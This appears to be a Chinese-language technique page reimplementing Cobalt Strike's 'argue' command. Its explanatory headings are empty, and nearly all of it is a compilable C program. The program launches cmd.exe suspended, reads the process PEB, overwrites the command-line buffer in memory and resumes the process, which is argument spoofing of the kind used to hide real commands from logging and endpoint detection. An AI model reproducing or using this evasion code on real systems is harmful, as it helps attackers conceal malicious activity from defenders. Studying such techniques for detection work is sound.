CobaltStrike Argue命令实现
简介
利用流程
代码实现
#include <stdio.h>
#include <Windows.h>
#include <winternl.h>
typedef DWORD(*pNtQueryInformationProcess) (HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);
int main()
{
ULONG lenght = 0;
HMODULE hModule;
PROCESS_BASIC_INFORMATION ProcessInformation;
pNtQueryInformationProcess NtQueryInformationProcess;
wchar_t CommandLine[] = L"C:\\Windows\\system32\\cmd.exe /c dir";
//.&& whoami / priv && pause"
wchar_t CurrentDirectory[] = L"C:\\Windows\\system32\\";
hModule = LoadLibraryA("ntdll.dll");
STARTUPINFOA si = { 0 };
si.cb = sizeof(si);
PROCESS_INFORMATION pi = { 0 };
CreateProcessA(NULL, (LPSTR)"C:\\Windows\\system32\\cmd.exe /c whoami", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
NtQueryInformationProcess = (pNtQueryInformationProcess)GetProcAddress(hModule, "NtQueryInformationProcess");
NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &ProcessInformation, sizeof(ProcessInformation), &lenght);
RTL_USER_PROCESS_PARAMETERS rupp = { 0 };
PEB peb = { 0 };
ReadProcessMemory(pi.hProcess, ProcessInformation.PebBaseAddress, &peb, sizeof(peb), NULL);
ReadProcessMemory(
pi.hProcess,
peb.ProcessParameters,
&rupp,
sizeof(RTL_USER_PROCESS_PARAMETERS)
, NULL);
WriteProcessMemory(pi.hProcess, (LPVOID)rupp.CommandLine.Buffer, CommandLine, sizeof(CommandLine), NULL);
ResumeThread(pi.hThread);
return 0;
}
扩展利用
代码
实现效果



LINKS
最后更新于